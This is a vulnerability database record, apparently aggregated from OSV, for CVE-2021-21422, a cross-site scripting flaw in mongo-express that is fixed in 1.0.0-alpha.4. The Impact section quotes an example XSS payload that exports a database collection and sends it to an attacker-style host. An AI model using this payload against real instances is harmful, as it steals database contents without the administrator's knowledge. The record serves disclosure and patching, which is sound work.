{"id":"CVE-2021-21422","aliases":["GHSA-7p8h-86p5-wv3p"],"url":"https://o3.security/vulnerability/CVE-2021-21422","summary":"Cross-site scripting","details":"Two kinds of XSS were found:\n\n1.  As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.\n2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.\n\n\n\n### Impact\nAs an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:\n```JSON\n{\"someField\": \"long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>\"  }\n```\nThis will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\\collection are also possible.\n\n### Patches\nUpgrade to  `v1.0.0-alpha.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new)\n* Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)\n","published":"2021-06-21T19:15:07.947Z","modified":"2026-07-08T06:28:48.756151588Z","cvss":{"score":6.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},"epss":{"score":0.0157,"percentile":0.74162,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":2,"affectedPackages":[{"ecosystem":"npm","name":"mongo-express","fixedVersion":"1.0.0-alpha.4"}],"fix":{"url":"https://github.com/mongo-express/mongo-express/commit/f5e0d4931f856f032f22664b5e5901d5950cfd4b","label":"mongo-express/mongo-express@f5e0d49"},"references":[{"type":"FIX","url":"https://github.com/mongo-express/mongo-express/commit/f5e0d4931f856f032f22664b5e5901d5950cfd4b"},{"type":"EVIDENCE","url":"https://github.com/mongo-express/mongo-express/issues/577"},{"type":"EVIDENCE","url":"https://github.com/mongo-express/mongo-express/security/advisories/GHSA-7p8h-86p5-wv3p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21422"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-08T06:28:48.756151588Z"}}